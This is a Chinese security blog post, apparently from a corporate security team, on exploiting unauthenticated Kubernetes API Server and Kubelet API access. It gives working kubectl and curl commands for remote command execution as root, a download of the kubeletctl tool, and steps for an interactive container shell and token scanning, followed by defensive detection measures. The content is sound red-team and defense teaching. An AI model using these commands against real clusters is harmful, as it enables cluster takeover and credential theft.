上一篇《k8s安全攻防 -- etcd篇》中,我们介绍了etcd组件未授权带来的集群失陷风险,介绍了etcd的渗透攻击手法,本篇我们继续介绍核心组件 API Server 和 Kubelet API 未授权带来的风险,以及爱奇艺安全团队在攻防演练中常用的攻击利用手法。
API Server未授权访问
错误配置的API Server,可能出现未授权访问漏洞,这个问题在新版本中已经很少出现,但仍然可能在测试环境、个人开发环境中发现。直接访问存在漏洞的API Server,将返回关键词 apis/autoscaling,如下图所示:
扫描器还可以检测 https://API_SERVER/api/v1 这个URL,在返回的文本中,将会出现关键词: "kind": "APIResourceList"。
在利用漏洞时,生成一个配置文件,这里我设置一个nobody用户,密码为空:
kubectl --kubeconfig=./test_config config set-cluster hacked_cluster --server=https://SERVER_IP:6443/ --insecure-skip-tls-verify
kubectl --kubeconfig=./test_config config set-credentials nobody --username=nobody --password=""
kubectl --kubeconfig=./test_config config set-context test_context --cluster=hacked_cluster --user=nobody
kubectl --kubeconfig=./test_config config use-context test_context
使用上述配置文件,即可轻易地控制对应k8s集群:
[ ]
NAME AGE
redis-master-y5epq 2y94d
Kublet API未授权访问
因为k8s默认配置的安全性大大地提升,Kublet未授权访问的漏洞已经基本绝迹了,但是,在开发测试机上还偶尔有机会扫描发现。
Kubelet API 一般监听在2个端口:10250、10255。其中,10250端口是可读写的,10255是一个只读端口。最常见的未授权访问一般是10255端口,但这个端口的利用价值偏低,只能读取到一些基本信息,无法成功执行命令。
安全配置的Kubelet API需要认证,访问 https://Node_IP:10250/pods,页面将返回 401 Unauthorized,如下图所示:
因真实漏洞环境较少,我们修改配置文件,自己构造一个漏洞演示环境,编辑 /var/lib/kubelet/config.yaml,修改认证和授权配置部分:
apiVersion: kubelet.config.k8s.io/v1beta1
authentication:
anonymous:
enabled: true
webhook:
cacheTTL: 0s
enabled: false
x509:
clientCAFile: /etc/kubernetes/pki/ca.crt
authorization:
mode: AlwaysAllow
将 anonymous enabled 修改为true,将 authorization mode 修改为 AlwaysAllow,引入未授权访问漏洞。主动 kill kubelet进程,让其自动重启恢复。此时,再访问10250端口 /pods 接口,就能观察到接口返回200,返回了pods列表:
Kubelet 关键的API如下表所示:
Kubelet API |
用法示例 | 描述 |
---|---|---|
/pods | GET /pods | 列出所有的pods |
/run | POST /run/<podNamespace>/<podID>/<containerName> POST /run/<podNamespace>/<podID>/<uid>/<containerName> Body: <command> |
在容器内执行命令 |
/exec | GET /exec/<podNamespace>/<podID>/<containerName>?command=<command> POST /exec/<podNamespace>/<podID>/<containerName>?command=<command> GET /exec/<podNamespace>/<podID>/<uid>/<containerName>?command=<command> POST /exec/<podNamespace>/<podID>/<uid>/<containerName>?command=<command> |
通过数据流的方式在容器内执行命令 |
表格来自参考链接【1】
我们使用curl,在命名空间 kube-system, pod名为kube-proxy-5hgrs,名为 kube-proxy的容器内执行 id 命令
[root@vul-test-1f70d199e ~]# curl -k -v -H "Content-Type: application/x-www-form-urlencoded" -X POST https://NODE_IP:10250/run/kube-system/kube-proxy-5hgrs/kube-proxy -d "cmd=id"
POST /run/kube-system/kube-proxy-5hgrs/kube-proxy HTTP/1.1
User-Agent: curl/7.29.0
Host: SERVER_IP:10250
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
* upload completely sent off: 6 out of 6 bytes
< HTTP/1.1 200 OK
< Content-Type: application/json
< Date: Mon, 28 Jun 2021 03:25:02 GMT
< Content-Length: 39
<
uid=0(root) gid=0(root) groups=0(root)
可以看到,id命令执行成功。
因为kubelet API接口持续在产生变更,通过curl执行命令多有不便。建议下载现成的漏洞利用工具 https://github.com/cyberark/kubeletctl
wget https://github.com/cyberark/kubeletctl/releases/download/v1.7/kubeletctl_linux_amd64 && chmod a+x ./kubeletctl_linux_amd64 && mv ./kubeletctl_linux_amd64 /usr/local/bin/kubeletctl
kubeletctl --server NODE_IP pods
kubeletctl 支持多个易用的命令,请参考工具说明。通过存在漏洞的Kubelet API,我们列出pods,如下图所示:
接着,可以扫描哪些pod的容器支持执行命令:
[root@vul-test-1f70d199e ~]# kubeletctl --server NODE_IP scan rce
可以看到,第6个容器kube-proxy是可以执行命令的, 我们尝试得到一个交互式shell :
[root@vul-test-1f70d199e ~]# kubeletctl --server NODE_IP -p kube-proxy-5hgrs -c kube-proxy -n kube-system exec "/bin/sh"
# id
id
uid=0(root) gid=0(root) groups=0(root)
kubeletctl工具同时还支持 --all-pods 参数,会尝试遍历所有pods,并在所有运行中的容器内执行指定的命令:
[ ]
[on all pods ] Running command
同时,通过scan token命令,尝试扫描token,有一定的几率可以发现token,攻击者可留存敏感信息备用:
[root@vul-test-1f70d199e ~]# kubeletctl --server NODE_IP scan token
如果未授权访问的是只读的10255 HTTP端口,需要通过 --http --port 参数来指定
[ ]
10255端口是只读的,无法用于获取容器shell和执行命令。
kubeletctl 工具的其他用法,本文不做赘述,感兴趣的同学可参考文末链接。
总结
本文介绍了k8s核心组件 API Server和 Kubelet API 未授权访问的风险和利用方式。在内部安全能力建设方面:
-
扫描器:k8s组件未授权访问的扫描发现
-
HIDS:k8s组件配置文件中,不安全配置项的检测发现、告警
-
HIDS:k8s组件服务进程,不安全启动参数的发现、告警
-
API审计:API Server异常调用审计、发现
-
Kubelet 日志审计、异常发现:一般事件被写入 /var/log/messages
参考链接:
【1】https://www.cyberark.com/resources/threat-research-blog/using-kubelet-client-to-attack-the-kubernetes-cluster
原文始发于微信公众号(爱奇艺安全应急响应中心):k8s安全攻防 -- API Server & Kubelet 篇
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论